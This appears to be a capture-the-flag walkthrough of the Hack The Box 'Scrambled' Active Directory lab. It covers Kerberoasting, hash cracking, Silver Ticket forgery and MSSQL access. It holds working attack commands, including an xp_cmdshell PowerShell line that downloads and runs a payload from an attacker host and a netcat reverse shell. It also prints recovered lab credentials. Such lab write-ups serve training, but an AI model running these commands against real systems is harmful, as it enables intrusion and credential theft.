htb-scrambled-linux
NTLM is disabled on the domain, so we have to use Kerberos authentication ( excellent for learning! )
Reconnaissance
Port scan
nmap
nmap
finds many TCP ports:
nmap -p- --min-rate 10000 10.10.11.168
It is an Active Directory
(AD) domain, so the machine is Windows Server. There are also a web server
on port 80, SMB
server on port 445, MSSQL
server on port 1433 and some strange application on port 4411. Let’s start by enumerating a web application.
It can be useful to append domain and domain controller addresses to /etc/hosts
10.10.11.168 scrambled.htb scrm.local dc1.scrm.local
Foothold
There are Home
and IT Services
pages available. There is nothing interesting in Home page. In IT Services page we can see that NTLM
authentication is disabled on the domain.
Also, we can see some Resources
pages. They are very interesting for us. On the Contacting IT support
page we can see a screenshot of ksimpson
user desktop. We can note a domain username from it.
On Sales Orders App Troubleshooting
page we can see some custom application is here, but we can not find it from this step.
On Password Resets
page we can note that when the user wants to reset his password. It is becoming to be same as the username.
UsernamesEnum ( not needed but working )
./kerbrute_linux_amd64 userenum -d scrm.local --dc 10.10.11.168 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
user.txt
Use Kerberos authentication
We’ve noted that NTLM is disabled on the domain, so we have to use Kerberos authentication. Kerberos is based on the tickets. But to request these tickets we have to specify the username and the password. The most useful tools are made in impacket scripts
.
Because NTLM authentication is disabled, I won’t be able to use many of the standard tools here, and I won’t be able to access any service by IP address if it requires authentication.
smbclient
won’t work, and I wasn’t able to get crackmapexec
to work either.
The Impactet script, smbclient.py
(sometimes installed as impacket-smbclient
) will work, using the -k
option for Kerberos auth.
—
ldapsearch
Now that we have a calculated hash we need to connect to LDAP over kerberos to retrieve the domain sid.
First, connect to the domain controller on port 636 using open ssl to retrieve the certificate.
openssl s_client -connect dc1.scrm.local:636
.
┌──(puck㉿kali)-[~/htb/scrambled] └─$ openssl s_client -connect dc1.scrm.local:636 Connecting to 10.10.11.168 CONNECTED(00000003) depth=0 verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 verify error:num=21:unable to verify the first certificate verify return:1 depth=0 verify return:1 --- Certificate chain 0 s: i:DC=local, DC=scrm, CN=scrm-DC1-CA a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA1 v:NotBefore: Sep 4 11:14:45 2024 GMT; NotAfter: Jun 8 22:39:53 2121 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFtzCCBJ+gAwIBAgITEgAAAAWd33nJkSGX4QAAAAAABTANBgkqhkiG9w0BAQUF ADBDMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgRzY3Jt MRQwEgYDVQQDEwtzY3JtLURDMS1DQTAgFw0yNDA5MDQxMTE0NDVaGA8yMTIxMDYw ODIyMzk1M1owADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL7APeOI QpFcy0JhCXiFe+YukkzyogwrXQG4jwuUqVtnzI0qKsJ2HKdvOLp5W+Fc4RwFdNMU q3cVCiwRMDdgsZbDull+e8s8kNmdBNNqcaHFwKXYbdWiXR2aBysPf9Gzs3iWllhs Ja1ihbrArixe2471/rjohLiz8VVssVQqUm8KjcO/jRFOLd2y1MtQPoOhTQtDasFT SceuhHLAe7RHygnndnyo2Sb+O0Neaeq0YDdc9zU5yjGilpJUYKYB36z32IOfEdJ8 OJr1iqg9oFZ0KKqskm5YT6PhFZFwpSAn4Re8xTfBOglopFn/mEBTh7ibLXL25K5/ H4ve2hiQIPsD0rECAwEAAaOCAuMwggLfMDYGCSsGAQQBgjcVBwQpMCcGHysGAQQB gjcVCIaj2B2B69kvgd2ZGYSm9EaL4D9SARwCAW4CAQIwKQYDVR0lBCIwIAYIKwYB BQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICMA4GA1UdDwEB/wQEAwIFoDA1Bgkr BgEEAYI3FQoEKDAmMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMAwGCisGAQQBgjcU AgIwHQYDVR0OBBYEFBRGx6zDOGOtjPPvaoLO36fByJ5LMB8GA1UdIwQYMBaAFAhp QhkKLZ9wcDY0RhznHYYVm2iSMIHEBgNVHR8EgbwwgbkwgbaggbOggbCGga1sZGFw Oi8vL0NOPXNjcm0tREMxLUNBLENOPURDMSxDTj1DRFAsQ049UHVibGljJTIwS2V5 JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zY3Jt LERDPWxvY2FsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RD bGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBvAYIKwYBBQUHAQEEga8wgawwgakG CCsGAQUFBzAChoGcbGRhcDovLy9DTj1zY3JtLURDMS1DQSxDTj1BSUEsQ049UHVi bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv bixEQz1zY3JtLERDPWxvY2FsP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MBwGA1UdEQEB/wQSMBCCDkRDMS5zY3Jt LmxvY2FsME8GCSsGAQQBgjcZAgRCMECgPgYKKwYBBAGCNxkCAaAwBC5TLTEtNS0y MS0yNzQzMjA3MDQ1LTE4Mjc4MzExMDUtMjU0MjUyMzIwMC0xMDAwMA0GCSqGSIb3 DQEBBQUAA4IBAQCecGFCSZW5yaXkTpXR5b09rpGBFyLSOJeS0Hv1LBmeN040mUXr 9wydqlVd1jPt2HbiMA07ftoR3LnCZYEOppSK+yX4GePev04aFRbFAunUDPvzC1FI 0Tqrh9/DSW0Zuqsmp6k34B5MSiYYfgSqtF4qdYQ4FyuxqoBft89+C+T65e5Io6Yu BAdyMGJqohUMGPxk3hzRQV5MqikqS/Ffj27YnqbBXivAr0W1RkytDHdsdqus9iNr EdMfkFzdSxBppaS59c+x289sotNYT0gTywBX86QDyP+TEFZgPqX5pQVuazo1HOyC 41E5cc4R5EyAhM/olViiJa5w/LrKFa7oEgec -----END CERTIFICATE----- subject= issuer=DC=local, DC=scrm, CN=scrm-DC1-CA
.
You can copy the above output and save it into a pem file. I called mine ldap_certificate.pem. Next you will need to modify your ldap.conf file in /etc/ldap/ and point it to the pem file you created.
┌──(puck㉿kali)-[~/htb/scrambled] └─$ cat /etc/ldap/ldap.conf # # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. #BASE dc=example,dc=com #URI ldap://ldap.example.com ldap://ldap-provider.example.com:666 #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) #TLS_CACERT /etc/ssl/certs/ca-certificates.crt TLS_CACERT /home/puck/htb/scrambled/ldap_certificate.pem
.
Once this is done you should be able to query ldap without issue with the following command and pull all accounts:
┌──(puck㉿kali)-[~/htb/scrambled] └─$ ldapsearch -H ldap://dc1.scrm.local -x -s base namingcontexts # extended LDIF # # LDAPv3 # base <> (default) with scope baseObject # filter: (objectclass=*) # requesting: namingcontexts # # dn: namingcontexts: DC=scrm,DC=local namingcontexts: CN=Configuration,DC=scrm,DC=local namingcontexts: CN=Schema,CN=Configuration,DC=scrm,DC=local namingcontexts: DC=DomainDnsZones,DC=scrm,DC=local namingcontexts: DC=ForestDnsZones,DC=scrm,DC=local # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1 ┌──(puck㉿kali)-[~/htb/scrambled]
and then
┌──(puck㉿kali)-[~/htb/scrambled] └─$ ldapsearch -H ldap://dc1.scrm.local -Z -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)" > allldap.txt
more to follow…..
Creds
Given the one username I’ve identified so far (ksimpson), and the note that sometimes passwords are reset to be the username, I’ll try that over SMB, and it works:
puck@kali$ impacket-smbclient -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation
Type help for list of commands
#shares
Most ksimpson can't access
#help
gives the commands:
There’s a single document in Public
:
# use public # ls drw-rw-rw- 0 Thu Nov 4 22:23:19 2021 . drw-rw-rw- 0 Thu Nov 4 22:23:19 2021 .. -rw-rw-rw- 630106 Fri Nov 5 17:45:07 2021 Network Security Changes.pdf # get Network Security Changes.pdf
.
This mentions again that NTLM is disabled because of an NTLM relay attack, and now everything is done via Kerberos. It also mentions that the SQL database has had access removed from the HR department
.
Let’s suppose that the ksimpson user has the same password as its username. To request a ticket we have to use getTGT.py
impacket script. To use it we have to export it in our environment variable KRB5CCNAME
.
┌──(puck㉿kali)-[~/htb/scrambled] └─$ impacket-getTGT scrm.local/ksimpson:ksimpson -dc-ip 10.10.11.168 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in ksimpson.ccache ┌──(puck㉿kali)-[~/htb/scrambled] └─$ export KRB5CCNAME=ksimpson.ccache ┌──(puck㉿kali)-[~/htb/scrambled] └─$ klist Ticket cache: FILE:ksimpson.ccache Default principal: ksimpson@SCRM.LOCAL Valid starting Expires Service principal 03/26/2025 09:17:27 03/26/2025 19:17:27 krbtgt/SCRM.LOCAL@SCRM.LOCAL renew until 03/27/2025 09:17:27
Kerberoasting attack
Our next step is to perform some basic checks like Kerberoasting
on the user we’ve found. Kerberoasting can be performed to harvest Ticket Granting Service
(TGS) tickets for services that run on behalf of user accounts in the AD. In AD every service has its own User Account. So, when we request a TGS, it is encrypted with the service password and we can crack it offline.
We will use GetUserSPNs.py
impacket script here. We have to specify that we want to user Kerberos authentication with -k
, -no-pass
flags. Also, if something would be found here, we specify a request
flag to get services hashes.
┌──(puck㉿kali)-[~/htb/scrambled] └─$ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Getting machine hostname [-] The SMB request is not supported. Probably NTLM is disabled. Try to specify corresponding NetBIOS name or FQDN as the value of the -dc-host option
Note: At the time of writing there is a bug with the Impacket GetUserSPNs script which causes it to fail
when used against a domain that has NTLM authentication disabled even though we instruct it to use
Kerberos authentication. For the script to work properly, you have to apply the patch mentioned here
I fixxed this with
┌──(puck㉿kali)-[~/htb/scrambled] └─$ python3 -m venv venv ┌──(puck㉿kali)-[~/htb/scrambled] └─$ source venv/bin/activate ┌──(venv)─(puck㉿kali)-[~/htb/scrambled] └─$ git clone https://github.com/ShutdownRepo/impacket.git Cloning into 'impacket'... remote: Enumerating objects: 24174, done. remote: Total 24174 (delta 0), reused 0 (delta 0), pack-reused 24174 (from 1) Receiving objects: 100% (24174/24174), 8.82 MiB | 11.29 MiB/s, done. Resolving deltas: 100% (18566/18566), done. ┌──(venv)─(puck㉿kali)-[~/htb/scrambled] └─$ cd impacket ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$ pip3 install -r requirements.txt Ignoring pyreadline: markers 'sys_platform == "win32"' don't match your environment --snip-- itsdangerous-2.2.0 ldap3-2.9.1 ldapdomaindump-0.9.4 pyOpenSSL-25.0.0 pyasn1-0.6.1 pycparser-2.22 pycryptodomex-3.22.0 six-1.17.0 typing-extensions-4.13.0 ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$ cd examples ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket/examples] └─$ ls addcomputer.py getArch.py lookupsid.py ping6.py samrdump.py ticketConverter.py atexec.py Get-GPPPassword.py machine_role.py ping.py secretsdump.py ticketer.py changepasswd.py GetNPUsers.py mimikatz.py psexec.py services.py tstool.py dcomexec.py getPac.py mqtt_check.py raiseChild.py smbclient.py wmiexec.py describeTicket.py getST.py mssqlclient.py rbcd.py smbexec.py wmipersist.py dpapi.py getTGT.py mssqlinstance.py rdp_check.py smbpasswd.py wmiquery.py DumpNTLMInfo.py GetUserSPNs.py net.py registry-read.py smbrelayx.py esentutl.py goldenPac.py netview.py reg.py smbserver.py exchanger.py karmaSMB.py nmapAnswerMachine.py rpcdump.py sniffer.py findDelegation.py keylistattack.py ntfs-read.py rpcmap.py sniff.py GetADUsers.py kintercept.py ntlmrelayx.py sambaPipe.py split.py ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket/examples] └─$ cp GetUserSPNs.py .. ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket/examples] └─$ cd .. ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$ ls ChangeLog.md examples impacket MANIFEST.in requirements-test.txt SECURITY.md TESTING.md tox.ini Dockerfile GetUserSPNs.py LICENSE README.md requirements.txt setup.py tests ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$ python3 GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k Cannot determine Impacket version. If running from source you should at least run "python setup.py egg_info" Impacket v? - Copyright 2023 Fortra [*] Getting machine hostname [-] The SMB request is not supported. Probably NTLM is disabled. Try to specify corresponding NetBIOS name or FQDN as the value of the -dc-host option ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$ vi GetUserSPNs.py ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$ python3 GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k Cannot determine Impacket version. If running from source you should at least run "python setup.py egg_info" Impacket v? - Copyright 2023 Fortra [*] Getting machine hostname [-] 'NoneType' object is not callable ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$ vi GetUserSPNs.py ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$ python3 GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k Cannot determine Impacket version. If running from source you should at least run "python setup.py egg_info" Impacket v? - Copyright 2023 Fortra [*] Getting machine hostname [-] CCache file is not found. Skipping... [-] CCache file is not found. Skipping... ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ---------------------------- ------ -------- -------------------------- -------------------------- ---------- MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 17:32:02.351452 2025-03-26 08:48:06.184493 MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 17:32:02.351452 2025-03-26 08:48:06.184493 [-] CCache file is not found. Skipping... $krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$9ac5f73e13507b70b1e6ed5e584487b9$5135ce661335dc47035aae4df203e455482d7641fe0c4115042322c9eeb7e709b7d0c5343612312c5f2328723d4800e9cb9cc1f7ea73fe3b6cb1b57c2d306cc893f2136de37050cf80df182b9523b195d76b7647e99915b35863447365709118c5213d12a90425df5ed78ebdc6a13bdeff6b556311e22088756a8f4610402c37dce00b3ab0d6bb5671bfde8adc563f9cfb3cf133e701914c691be9d3045d9de03a521ce7ad7fba1889d3b93676a58d9538d02b6c926172f68d25e91790f912978fecf37295ec149919bb897283d823356b65cbc2993033a974e5973c351a835a77aec193a9d9ad673baeee0687b6eef13330a1853bd8fd849e87394e5c38b8b44b1482e68cfaed6418715226deb6a07d27c138a02cb5596b5fee50f2f4b5954911a424d4a7a0efd1d674ec43912d83bf912bc0ee8943347da9249a98669432f291283ad3f57044b6abcb26a7c46e4319fc44d9266f1b6b50d7ff636d9aefde1fb2f62beeb70c02c97ec47d1d8bd4680575bbf420eeaf9a59784c68fbb1c6161268701587c957418d982beb007ad41aaedf3558e06f6cd149ec7067d7809ad27702a4a588c3c5fafea04afe8a3d69c0565d58d99c131fa66ad1347292955a8a6885fe477862f05eaa41297d857f48d08f7a12aff88787568070fceb8e433cce4bf5f5ea1eaff3abc9f7cb75c4375cbb5af67d97d58271bb141ab21941fb262d4b1de6eb20cd624551b1d324d48e8ee73d870dbaee1b900fe4958faad1cb790e2607aee226fd6ad9c94c5592049ac373d32b34ca9ec4da590796ddba8b7d506a462b4201ecc8d8ad15da1ebaebf6383c8746c1543dc47a9acbb38689ad7cb724b5fdd33ebbb1f5b5297e85bdcb0a19210dffdc3de98c3554f4570ff9c24333f3954c107d26733da0a326549908f83d3b43008391d32a56cf9b0150a64ba222fb8a2e17b91436980678731ebc11d281ee54e81a73a5de36a619c80dcf2e6417182a0352534083c0827d5ac5549bc0768f9da30cd80d4e366f15858d4ee3603a97c4b484a84c5e23f674fc225344c9b2db0af63be0b368f984273297e4aa728b404bd30ffc7fd5917ce1bd52f47c5dacaf8cdd13c78743e1ff0d1f8443b0de259ac07edf20d9f8aad23f4386fadfd8fd685ba30a2c603d0da1b7a9014b13e6c4df9e28999c804dc85453cd7e0b7b14f04eae8372d5515bce333f74cf29175bf0aafda1b099376abdba9aebccbe4399e86d0a655dafc02c713d8566166b2a5acc761706efe642b92b5f77b5d03f0af04d83e4ea298613692ba3f2ab28431efd8c009a62a1bce939d5e715d44234846001863484c524bfaa2c24aa72b6b6cf896c84dd37a9df090eea7ca82ce1848a1d6952d0e68eea6aab84a1f865ff3f9eb0ab89c1594b5a7ddd7e61f3fe6604842f0a4b1b55d481a91beff5d082c962 ┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket] └─$
.
Basicly the working GetUserSPNs.py contains on line 266 like below : target = self.__kdcHost
if self.__doKerberos:
logging.info(‘Getting machine hostname’)
target = self.__kdcHost
# Connect to LDAP
We’ve got a Kerberos 5, etype 23, TGS-REP
hash here. It is associated with the user sqlsvc
, which is running MSSQL
server. We can crack it with JohnTheRipper
tool.
┌──(puck㉿kali)-[~/htb/scrambled] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt sqlsvc.hash Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Pegasus60 (?) 1g 0:00:00:03 DONE (2025-03-26 11:06) 0.2695g/s 2892Kp/s 2892Kc/s 2892KC/s Petergrant..Pearce Use the "--show" option to display all of the cracked passwords reliably Session completed.
it cracks as Pegasus60
Reverse shell with MSSQL
Our next step is to connect to the MSSQL. But we have to generate a ticket for the service, we can use impacket’s ticketer.py
script. But we have to get a Domain SID to do it. And there is impacket again with getPac.py
script.
MSSQL Access
Silver Ticket Background
These creds don’t actually directly allow access to anything new for me. But because this account is running the SQL service, I can use the password to perform a Silver Ticket attack. The overview linked there from adsecurity.org is really good. A Silver Ticket is a forged TGS (Ticket Granting Service) ticket, which is used directly between the client and the service, without necessarily going to the DC. Instead, the TGS ticket is signed by the service account itself, and thus the Silver Ticket is limited to authenticating only the service itself.
To create a Silver Ticket, an attacker needs:
- The NTLM hash of the password for the service account;
- The SID of the domain
- The service principle name (SPN) associated with the account.
I already acquired the SPN with GetUserSPNS.py
above, MSSQLSvc/dc1.scrm.local:1433
.
Generate NTLM
To get an NTLM hash of the password “Pegasus60”, I’ll use the commands from this post:
puck@kali$ iconv -f ASCII -t UTF-16LE <(printf "Pegasus60") | openssl dgst -md4
(stdin)= b999a16500b87d17ec7f2e2a68778f05
CrackStation will verify that:
Domain SID
A way to get the domain SID is with the getPac.py
script from Impacket. This script is meant to get the Privilege Attribute Certificate for any user, which just requires auth as an user on the domain. I’ll give it the creds for ksimpson and ask about the administrator:
┌──(puck㉿kali)-[~/htb/scrambled] └─$ impacket-getPac -targetUser administrator scrm.local/ksimpson:ksimpson Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies KERB_VALIDATION_INFO LogonTime: dwLowDateTime: 1423239250 dwHighDateTime: 31170083 LogoffTime: --snip-- Attributes: 536870919 , ] Domain SID: S-1-5-21-2743207045-1827831105-2542523200 ┌──(puck㉿kali)-[~/htb/scrambled]
There’s a ton of information about the account, but for my current purposes, the last item (before this ranom-looking hex at the end) is the domain SID.
Generate Ticket
ticketer.py
(or impacket-ticketer
) will generate a ticket using the information gathered:
┌──(puck㉿kali)-[~/htb/scrambled] └─$ impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 administrator Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for scrm.local/administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in administrator.ccache ┌──(puck㉿kali)-[~/htb/scrambled]
The output file is administrator.ccache
, which is a kerberos ticket as administrator that only the MSSQL service will trust.
Connect
On Linux, Kerberos looks in predefined places for tickets, like /tmp/krb5cc_[uid of current user]
and any file pointed to by the KRB5CCACHE
environment variable. If I just run klist
, it will fail to find the new ticket:
puck@kali$ klist
klist: No credentials cache found (filename: /tmp/krb5cc_1000)
If I have the env variable point to the file from ticketer.py
, it shows information about the ticket:
┌──(puck㉿kali)-[~/htb/scrambled] └─$ KRB5CCNAME=administrator.ccache klist Ticket cache: FILE:administrator.ccache Default principal: administrator@SCRM.LOCAL Valid starting Expires Service principal 03/26/2025 11:34:50 03/24/2035 11:34:50 MSSQLSvc/dc1.scrm.local:1433@SCRM.LOCAL renew until 03/24/2035 11:34:50
Using that same method, mssqlclient.py
can connect to the DB using the ticket:
┌──(puck㉿kali)-[~/htb/scrambled] └─$ KRB5CCNAME=administrator.ccache impacket-mssqlclient -k dc1.scrm.local Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC1): Line 1: Changed database context to 'master'. [*] INFO(DC1): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (SCRM\administrator dbo@master)>
.
MSSQL Enumeration
Remote Code Execution
(RCE) on the server. So our next step is to get a reverse shell. I’ve made a payload in .ps1 file on my local machine. So the reverse shell will be downloaded from my machine and executed. I’ve chosen a PowerShell #3 (Base64) payload from Reverse Shell Generator. We have to save it to file.enable_xp_cmdshell
xp_cmdshell powershell IEX(New-Object Net.webclient).downloadString(\"http://10.10.14.4:8000/shell.ps1\")
.
Dump MSSQL database
The sqlsvc hasn’t got a user.txt flag, so we have to enumerate other user. We can dump the MSSQL datavase with PowerUpSQL.ps1 script. We can upload it on the machine with PowerShell’s wget
, it is an alias for Invoke-WebRequest
command. We have to specify the address and the output file here.
┌──(puck㉿kali)-[~/htb/scrambled] └─$ rlwrap nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.168] 54654 whoami scrm\sqlsvc PS C:\Windows\system32>
.
PS c:\programdata\wget -Uri "http://<IP>:<PORT>/PowerUpSQL.ps1" -OutFile PowerUpSQL.ps1
It is a very powerful tool, you can use the cheatsheet to get some useful commands.
Our next step is to import the tool and dump some info about the databases. We can do it with Invoke-SQLDumpInfo
cmdlet.
PS c:\programdata\. .\PowerUpSQL.ps1
PS c:\programdata\Invoke-SQLDumpInfo -Verbose -Instance DC1
It will give a big output in a csv format. Our scope is databases and their tables here. The databases info is stored in <COMPUTER NAME>_Databases.csv
file.
The database is ScrambleHR
. Let’s see the tables and their columns. They are located in <COMPUTER NAME>_Database_columns.csv
file.
PS C:\programdata> type DC1_Database_tables.csv "ComputerName","Instance","DatabaseName","SchemaName","TableName","TableType","is_ms_shipped","is_published","is_schema_published","create_date","modified_date" "DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35" "DC1","DC1","ScrambleHR","dbo","Timesheets","BASE TABLE","False","False","False","03/11/2021 17:56:33","03/11/2021 17:56:33" "DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43" PS C:\programdata> type DC1_Database_columns.csv "ComputerName","Instance","DatabaseName","SchemaName","TableName","TableType","ColumnName","ColumnDataType","ColumnMaxLength","is_ms_shipped","is_published","is_schema_published","create_date","modified_date" "DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","EmployeeID","int","","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35" "DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","FirstName","nvarchar","50","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35" "DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","Surname","nvarchar","50","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35" "DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","Title","nchar","10","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35" "DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","Manager","nvarchar","50","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35" "DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","Role","nvarchar","50","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35" "DC1","DC1","ScrambleHR","dbo","Timesheets","BASE TABLE","EmployeeID","int","","False","False","False","03/11/2021 17:56:33","03/11/2021 17:56:33" "DC1","DC1","ScrambleHR","dbo","Timesheets","BASE TABLE","TimeStart","datetime","","False","False","False","03/11/2021 17:56:33","03/11/2021 17:56:33" "DC1","DC1","ScrambleHR","dbo","Timesheets","BASE TABLE","TimeEnd","datetime","","False","False","False","03/11/2021 17:56:33","03/11/2021 17:56:33" "DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","LdapUser","nvarchar","50","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43" "DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","LdapPwd","nvarchar","50","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43" "DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","LdapDomain","nvarchar","50","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43" "DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","RefreshInterval","int","","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43" "DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","IncludeGroups","bit","","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43" PS C:\programdata>
The most interesting here is UserImport
table with possible credentials in. We can dump the table with Get-SQLQuery
cmdlet.
PS C:\programdata> Get-SQLQuery -Verbose -Instance DC1 -Query "SELECT * FROM ScrambleHR.dbo.UserImport" LdapUser : MiscSvc LdapPwd : ScrambledEggs9900 LdapDomain : scrm.local RefreshInterval : 90 IncludeGroups : False PS C:\programdata>
And we’ve got some credentials. Now we can authenticate as miscsvc
user in our powershell session. I did a reverse shell as miscsvc user here.
1 2 3 4 |
$password = ConvertTo-SecureString "<miscsvc password>" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential ("scrm.local\miscsvc", $password) $sess = New-PSSession -Credential $cred -ComputerName DC1 Invoke-Command -Session $sess -ScriptBlock {powershell -e <Base64 encoded payload>} |
But I’ve decided to get more coolr
PS Session
Configure Realm
I’ll need to add this domain to my local /etc/krb5.conf
file:
[libdefaults]
default_realm = SCRM.LOCAL
# The following libdefaults parameters are only for Heimdal Kerberos.
fcc-mit-ticketflags = true
[realms]
SCRM.LOCAL = {
kdc = dc1.scrm.local
admin_server = dc1.scrm.local
}
[domain_realm]
Update PowerShell
I can’t use evil-winrm
here, but I can use pwsh
on Linux, as installed by these instructions. Even then, I’ll have some issues using a PSSession
:
puck@kali$ pwsh
PowerShell 7.2.4
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /> Enter-PSSession dc1.scrm.local -Credential MiscSvc
PowerShell credential request
Enter your credentials.
Password for user MiscSvc: *****************
Enter-PSSession: MI_RESULT_ACCESS_DENIED
I’ll need to enter pwsh
as root and install the Open Management Infrastructure – PowerShell Edition:
puck@kali$ sudo pwsh
PowerShell 7.2.4
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /> Install-Module -Name PSWSMan -Scope AllUsers
Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the modules from 'PSGallery'?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
PS /> Install-WSMan
WARNING: WSMan libs have been installed, please restart your PowerShell session to enable it in PowerShell
PS /> exit
Now back in PowerShell, I’ll get a session:
┌──(puck㉿kali)-[~/htb/scrambled] └─$ sudo pwsh PowerShell 7.2.6 Copyright (c) Microsoft Corporation. https://aka.ms/powershell Type 'help' to get help. A new PowerShell stable release is available: v7.4.6 Upgrade now, or check out the release page at: https://aka.ms/PowerShell-Release?tag=v7.4.6 PS /home/puck/htb/scrambled> Enter-PSSession dc1.scrm.local -Credential MiscSvc PowerShell credential request Enter your credentials. Password for user MiscSvc: ***************** [dc1.scrm.local]: PS C:\Users\miscsvc\Documents> whoami scrm\miscsvc [dc1.scrm.local]: PS C:\Users\miscsvc\Documents>
..
And grab user.txt
:
[dc1.scrm.local]: PS C:\Users\miscsvc\Documents> type c:\users\miscsvc\desktop\user.txt
8d9496bc************************
nc
This shell is super slow, so I’ll upload nc64.exe
:
[dc1.scrm.local]: PS C:\programdata> iwr 10.10.14.4:8000/nc64.exe -outfile nc64.exe
[dc1.scrm.local]: PS C:\programdata> .\nc64.exe -e powershell 10.10.14.4 443
And catch a fresh shell:
